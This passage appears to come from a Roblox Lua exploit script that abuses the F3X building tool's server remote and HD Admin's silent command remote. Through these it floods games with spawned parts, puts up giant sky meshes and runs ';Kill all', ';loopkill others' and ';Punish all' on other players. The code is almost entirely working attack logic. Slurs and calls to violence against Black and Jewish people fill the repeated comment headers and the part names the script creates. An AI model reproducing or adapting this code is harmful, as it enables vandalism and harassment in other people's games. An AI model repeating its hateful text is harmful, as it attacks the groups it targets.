_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "111891702759441")
SetTexture(v, id)
MeshResize(v, Vector3.new(8000, 8000, 8000))
end
end
end
local function createRainToads()
while true do
wait(0.001)
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 800
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)), workspace)
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
spawn(function()
SetName(v, "Taco")
end)
spawn(function()
SetAnchor(false, v)
end)
spawn(function()
AddMesh(v)
end)
spawn(function()
MeshResize(v, Vector3.new(20, 20, 20))
end)
spawn(function()
SetMesh(v, "2053554988")
end)
spawn(function()
SetTexture(v, "2053555006")
end)
spawn(function()
SetCollision(v, false)
end)
spawn(function()
MovePart(v, v.CFrame * CFrame.new(
math.random(-5, 5),
math.random(0, 10),
math.random(-5, 5)
) * CFrame.Angles(
math.rad(math.random(10, 180)),
math.rad(math.random(10, 180)),
math.rad(math.random(10, 180))
))
end)
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
end)
end;
task.spawn(C_31);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_33()
local script = G2L["33"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
remote:InvokeServer(unpack(args))
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
local function particle()
while true do
wait(0.2)
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then continue end
local x = hrp.Position.X + math.random(-100, 100)
local z = hrp.Position.Z + math.random(-100, 100)
local y = hrp.Position.Y - 35
local spawnPosition = CFrame.new(x, y, z)
spawn(function()
CreatePart(spawnPosition, workspace)
wait(0.06)
for _, v in workspace:GetChildren() do
if v:IsA("Part") and (v.Position - Vector3.new(x, y, z)).Magnitude < 1 then
local part = v
SetName(part, "black people are threats")
Resize(part, Vector3.new(7, 7, 0.001), part.CFrame)
SetCollision(part, false)
SetTrans(part, 1)
SetAnchor(true, part)
part.Orientation = Vector3.new(0, 0, 0)
SpawnDecal(part, Enum.NormalId.Front)
AddDecal(part, "81355104572277", Enum.NormalId.Front)
SpawnDecal(part, Enum.NormalId.Back)
AddDecal(part, "81355104572277", Enum.NormalId.Back)
local up = 50
for i = 4, up do
if part and part.Parent then
local newCF = part.CFrame + Vector3.new(0, 4, 0)
Resize(part, part.Size, newCF)
wait(0.01)
end
end
delete(part)
break
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(particle)()
end)
end;
task.spawn(C_33);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_35()
local script = G2L["35"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
remote:InvokeServer(unpack(args))
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
local function particle()
while true do
wait(0.2)
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then continue end
local x = hrp.Position.X + math.random(-100, 100)
local z = hrp.Position.Z + math.random(-100, 100)
local y = hrp.Position.Y - 35
local spawnPosition = CFrame.new(x, y, z)
spawn(function()
CreatePart(spawnPosition, workspace)
wait(0.06)
for _, v in workspace:GetChildren() do
if v:IsA("Part") and (v.Position - Vector3.new(x, y, z)).Magnitude < 1 then
local part = v
SetName(part, "black people are threats")
Resize(part, Vector3.new(7, 7, 0.001), part.CFrame)
SetCollision(part, false)
SetTrans(part, 1)
SetAnchor(true, part)
part.Orientation = Vector3.new(0, 0, 0)
SpawnDecal(part, Enum.NormalId.Front)
AddDecal(part, "90356036356127", Enum.NormalId.Front)
SpawnDecal(part, Enum.NormalId.Back)
AddDecal(part, "90356036356127", Enum.NormalId.Back)
local up = 50
for i = 4, up do
if part and part.Parent then
local newCF = part.CFrame + Vector3.new(0, 4, 0)
Resize(part, part.Size, newCF)
wait(0.01)
end
end
delete(part)
break
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(particle)()
end)
end;
task.spawn(C_35);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_37()
local script = G2L["37"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
remote:InvokeServer(unpack(args))
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
local function particle()
while true do
wait(0.2)
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrp = player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then continue end
local x = hrp.Position.X + math.random(-100, 100)
local z = hrp.Position.Z + math.random(-100, 100)
local y = hrp.Position.Y - 35
local spawnPosition = CFrame.new(x, y, z)
spawn(function()
CreatePart(spawnPosition, workspace)
wait(0.06)
for _, v in workspace:GetChildren() do
if v:IsA("Part") and (v.Position - Vector3.new(x, y, z)).Magnitude < 1 then
local part = v
SetName(part, "black people are threats")
Resize(part, Vector3.new(7, 7, 0.001), part.CFrame)
SetCollision(part, false)
SetTrans(part, 1)
SetAnchor(true, part)
part.Orientation = Vector3.new(0, 0, 0)
SpawnDecal(part, Enum.NormalId.Front)
AddDecal(part, "8979672", Enum.NormalId.Front)
SpawnDecal(part, Enum.NormalId.Back)
AddDecal(part, "8979672", Enum.NormalId.Back)
local up = 50
for i = 4, up do
if part and part.Parent then
local newCF = part.CFrame + Vector3.new(0, 4, 0)
Resize(part, part.Size, newCF)
wait(0.01)
end
end
delete(part)
break
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(particle)()
end)
end;
task.spawn(C_37);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_39()
local script = G2L["39"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";disco") -- U can change all of it with your commands!
end)
end;
task.spawn(C_39);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_3b()
local script = G2L["3b"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";Kill all")
end)
end;
task.spawn(C_3b);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_3d()
local script = G2L["3d"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";loopkill others")
end)
end;
task.spawn(C_3d);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_3f()
local script = G2L["3f"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local tool
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
if not tool then
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
end
if not tool then
warn("F3X SyncAPI not found!")
return
end
local remote = tool.SyncAPI.ServerEndpoint
local function _(args)
remote:InvokeServer(unpack(args))
end
local function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {[1] = part}
}
_(args)
end
for _, v in pairs(game.Workspace:GetDescendants()) do
if v:IsA("BasePart") then
local shouldDelete = false
local name = v.Name:lower()
if name == "sky" or name == "skypart" or name == "skybox" then
shouldDelete = true
end
if v:FindFirstChildWhichIsA("SpecialMesh") then
local mesh = v:FindFirstChildWhichIsA("SpecialMesh")
if mesh.MeshId == "rbxassetid://111891702759441" then
shouldDelete = true
end
end
if shouldDelete then
task.spawn(function()
pcall(function()
DestroyPart(v)
end)
end)
end
end
end
end)
end;
task.spawn(C_3f);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_41()
local script = G2L["41"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";sm El c00paraz rekt your game XD")
end)
end;
task.spawn(C_41);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_43()
local script = G2L["43"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function toptexturecreate(part)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture"
}
}
}
_(args)
end
function toptextureadd(part)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture",
["Texture"] = "rbxassetid://81355104572277",
["StudsPerTileV"] = 25,
["StudsPerTileU"] = 25
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(250,10,250),CFrame.new(hrpx,hrpy-20,hrpz))
Color(v,Color3.fromRGB(0.02, 0.02, 0.02))
toptexturecreate(v)
toptextureadd(v)
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
end;
task.spawn(C_43);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_45()
local script = G2L["45"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
local RunService = game:GetService("RunService")
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function SetAnchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function reflect(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Reflectance"] = int
}
}
}
_(args)
end
function SetTransparency(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local images = {
"http://www.roblox.com/asset/?id=169585459",
"http://www.roblox.com/asset/?id=169585475",
"http://www.roblox.com/asset/?id=169585485",
"http://www.roblox.com/asset/?id=169585502",
"http://www.roblox.com/asset/?id=169585515",
"http://www.roblox.com/asset/?id=169585502",
"http://www.roblox.com/asset/?id=169585485",
"http://www.roblox.com/asset/?id=169585475"
}
local skyPart
local skyLoop
function CreateSky()
local hrp = char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, -6, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, -6, 0) then
skyPart = v
SetAnchor(skyPart, true)
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
MeshResize(skyPart, Vector3.new(4000, 4000, 4000))
SetTransparency(skyPart, 1)
reflect(skyPart, 1000)
local currentFrame = 0
local frameInterval = 0.1
skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
if not skyPart then
skyLoop:Disconnect()
return
end
currentFrame = currentFrame + deltaTime
if currentFrame >= frameInterval then
currentFrame = 0
local index = math.floor((tick() / frameInterval) % #images) + 1
pcall(function()
SetTransparency(skyPart, 0)
SetTexture(skyPart, images[index])
end)
end
end)
break
end
end
end
function ResetSky()
if skyPart then
DestroyPart(skyPart)
skyPart = nil
end
if skyLoop then
skyLoop:Disconnect()
skyLoop = nil
end
CreateSky()
end
player.CharacterAdded:Connect(function(newChar)
char = newChar
ResetSky()
end)
if char and char:FindFirstChild("Humanoid") then
char:WaitForChild("Humanoid").Died:Connect(function()
ResetSky()
end)
end
CreateSky()
end)
end;
task.spawn(C_45);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_47()
local script = G2L["47"];
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";Punish all")
wait(1)
RequestCommand:InvokeServer(";sm Get Toadroasted by C00pzkiddz NUB")
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function CreateFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function SyncFire(part, size, heat)
local args = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = size,
["Heat"] = heat
}
}
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "116114045088190")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(0.01)
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "Kill jews")
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(8, 8, 8), v.CFrame)
MeshResize(v, Vector3.new(4, 4, 4))
SetMesh(v, "1009824073")
SetTexture(v, "1009824086")
SetCollision(v, true)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
CreateFire(v)
wait(0.05)
SyncFire(v, 30, 25)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123"
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("95921788891849")
end)
end;
task.spawn(C_47);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_49()
local script = G2L["49"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
